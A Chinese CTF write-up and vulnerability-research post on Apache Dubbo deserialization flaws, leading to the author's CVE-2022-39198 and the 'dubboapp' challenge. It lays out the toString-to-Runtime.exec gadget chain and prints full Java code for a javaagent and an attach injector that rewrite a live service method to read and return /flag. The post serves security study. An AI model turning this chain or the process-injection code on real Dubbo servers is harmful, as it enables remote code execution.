从CVE-2022-39198到春秋杯Dubboapp

前言

上篇文章中分享了在CTF中使用tabby来解决java题目,本文将结合笔者近来挖掘到关于dubbo的CVE-2022-39198来聊聊静态分析工具在真实环境下漏洞挖掘的辅助作用;在本届春秋杯冬季赛中,笔者据此设计了dubboapp题目,在下文中将会展开讲解

重点漏洞回顾

简介

dubbo是一种RPC服务框架,其功能特性导致很容易存在反序列化安全问题,相对于其他应用来说对dubbo的挖掘通常由反序列化触发点、反序列化链条两部分组成;下面简单回顾几个重点历史漏洞。

CVE-2020-1948

该漏洞主要触发点是由于当dubbo进行服务调用时,如果找不到客户端想要的service就会抛出异常,进而到org.apache.dubbo.rpc.RpcInvocation#toString ,该处存在着toString的调用,配合toString的反序列化链就可以完成利用

官方的补丁如下,主要是对传入的参数进行了名称和类型校验

该漏洞的修复补丁存在着几次绕过的情况。

CVE-2021-30179

该漏洞主要是由于DecodeHandler#decode方法在实例化Pojo类时会调用类中的setter方法,进而实现类似于fastjson漏洞的利用手法,可以达到JNDI注入等危险操作

CVE-2021-25641

该漏洞主要是由于客户端在与服务端进行通信时可以指定服务端使用的反序列化器类型,攻击者可以通过篡改反序列化标志位将默认的Hessian反序列化更改为NativeJava等无黑白名单校验的危险的反序列化类型,达到漏洞利用的目的

CVE-2021-43297

漏洞主要原因是hessian-lite在反序列化抛出异常时会进行对象拼接,进而隐式的触发toString,配合相应的利用链条可以达成利用,值得一提的是该漏洞首次披露了关于hessian的原生jdk反序列化利用链

CVE-2022-39198挖掘

前面说到通常对dubbo的挖掘由触发点和利用链两部分组成,首先来看漏洞触发点,在调试CVE-2020-1948时会发现其补丁只是对service调用进行了严格的限制,但对org.apache.dubbo.rpc.RpcInvocation#toString却没有更改,也就是说toString的触发点还是存在的,在dubbo接收客户端消息时会进行decode操作,完整的流程位于org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream),在该流程中首先校验服务的正确性,接着会校验所使用的反序列化器是否被客户端篡改,逻辑位于org.apache.dubbo.remoting.transport.CodecSupport#checkSerialization

在这里首先要保证到我们可以拿到service对应的url列表,才能使代码正常运行,在获取到服务对应的url列表之后,会尝试进行参数的解析,如下

顺着代码流程会走到org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol#getInvoker

在该方法中当根据指定的serviceKey无法获得服务提供者暴露服务的对象时,就会抛出异常,进而执行到org.apache.dubbo.rpc.RpcInvocation#toString的触发点,上图中可以看到存在着两个serviceKey对应的exporter;如此看来我们只要满足前面checkSerialization的要求,并且令其传递进来的serviceKey无法找到合适的对象就可以了,来看一下服务端提供了哪些已注册的服务

可以看到存在三个服务,我们只需要任选一个即可,结合CVE-2020-1948相关的绕过信息,在利用该处toString触发点时可以有如下代码

然后就是反序列化链条的挖掘,在dubbo中存在着fastjson的依赖,可以利用com.alibaba.fastjson.JSON#toString()来触发任意类的getter,此时可以用tabby来进行寻找,语句如下

1
match path=(source:Method)-[:CALL*..1]->(sink:Method {}) where source.PARAMETER_SIZE=0  and source.NAME =~ "get.*" and sink.NAME =~ "exec.*" return path limit 5

sun.print.UnixPrintServiceLookup#getDefaultPrintService在这里是符合要求的

总结一下整体链条

1
2
3
4
5
6
7
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode
org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol#getInvoker
org.apache.dubbo.rpc.RpcInvocation#toString
com.alibaba.fastjson.JSON#toString
sun.print.UnixPrintServiceLookup#getDefaultPrintService
...
Runtime.getRuntime().exec()

春秋杯dubboapp

早在赛前我注意到网上已经有对该CVE的一些分析,所以在赛前我临时将题目改为不出网的设置,那么我们可以思考一下当题目不出网时可以如何利用呢?目前我们可以执行任意命令,但是无法获得执行命令的回显,我们可以思考一下应用的正常功能,程序提供了一个远程方法供我们来调用,正常可以如下的方式来调用远程方法

可以看到在这里实际上我们是可以与远程进行交互并获得回显的,由于我们可以执行命令了,可以考虑利用javaagent来修改远程方法的逻辑,来读取flag,代码比较简单,这里笔者是用网上agent的例子修改的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
//agent.jar
package hack;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;

public class MyAgentMain {
public static String className = "DemoServiceImpl";
public static void agentmain(String agentArgs, Instrumentation inst) throws Exception {
System.out.println("MyAgentMain start..");
inst.addTransformer(new DefineTransformer(), true);
Class[] loadedClasses = inst.getAllLoadedClasses();
for (Class c : loadedClasses) {
if (c.getName().equals(className)) {
try {
inst.retransformClasses(c);
} catch (Exception e) {
e.printStackTrace();
}
}
}
}

static class DefineTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println("premain load Class:" + className);
if ("DemoServiceImpl".equals(className)) {
try {
ClassPool cp = ClassPool.getDefault();
cp.importPackage("java.io.InputStream");
cp.importPackage("java.io.InputStreamReader");
cp.importPackage("java.io.BufferedReader");
ClassClassPath classPath = new ClassClassPath(classBeingRedefined); //get current class's classpath
cp.insertClassPath(classPath); //add the classpath to classpool
CtClass cc = cp.get("DemoServiceImpl");
CtMethod m = cc.getDeclaredMethod("sayHello");
m.addLocalVariable("elapsedTime", CtClass.longType);
m.insertBefore("Process p=null;\n" +
" try {\n" +
" p = Runtime.getRuntime().exec(new String(\"cat /flag\"));\n" +
" }catch (Exception e){\n" +
" System.out.println(e);\n" +
" }\n" +
" InputStream fis=p.getInputStream();\n" +
" InputStreamReader isr=new InputStreamReader(fis);\n" +
" BufferedReader br=new BufferedReader(isr);\n" +
" String line=null;\n" +
" while((line=br.readLine())!=null) {\n" +
" return line;\n" +
" }");
byte[] byteCode = cc.toBytecode();
cc.detach();
return byteCode;
} catch (Exception ex) {
ex.printStackTrace();
System.out.println("error:::::"+ex.getMessage());
}
}

return null;
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//inject.jar
package hack;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class TestAgentMain {

public static void main(String[] args) throws Exception {
System.out.println("running JVM start ");
List<VirtualMachineDescriptor> list = VirtualMachine.list();
System.out.println(list);
for (VirtualMachineDescriptor vmd : list) {

System.out.println(vmd.displayName());
if (vmd.displayName().endsWith("mydubbo-server.jar")) {
System.out.println("helloworld");
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
virtualMachine.loadAgent("/tmp/agent.jar");
virtualMachine.detach();
}
}
}
}

我们可以将inject.jar 与 agent.jar利用命令执行传到远程服务器上,然后运行inject.jar来进行attach操作,将agent附加到dubbo进程上来动态修改DemoServiceImpl类的代码,读取flag并将内容返回给调用该方法的客户端;执行完后再次运行客户端即可拿到flag

完整的Exploit可以访问下面的链接

https://gist.github.com/yemoli/5b2f4abca69128f013b128d82110d37c

Magic

题目其实存在着一些非预期的点,在测试过程中我忘记了将sayHello方法进行修改导致在DemoServiceImpl提供的服务中其实本来就存在着toString的调用,当传进Object类型的name时,在return处会进行字符串拼接,隐式触发toString

1
2
3
4
5
6
7
8
public class DemoServiceImpl implements DemoService{
public String sayHello(Object name) {
return "hi " + name;
}
// public Map sayHello(Object name) {
// return new HashMap();
// }
}

对于后面的回显方法,在赛后查看选手的wp时发现了一个比较有意思的利用方式,该方法来自于本题目的一血@Zer0na

在dubbo中我们可以连接到服务端口使用trace命令进行调试,调试远程方法时可以看到远程的方法名称,参数类型和参数名称,这个时候可以向服务器中传入一个consumer,读取flag文件并将flag的值作为方法参数的值,然后调用远程服务器上的dubbo服务并trace此方法,就可以达到回显的效果,这里借用该选手的测试截图

总结

在某些漏洞挖掘场景下,静态分析工具可以大大减少不必要的重复工作,节省时间;通过上面的两种回显方式可以看出,熟悉目标应用的功能以及特性对于实际的挖掘工作也有着很大的益处。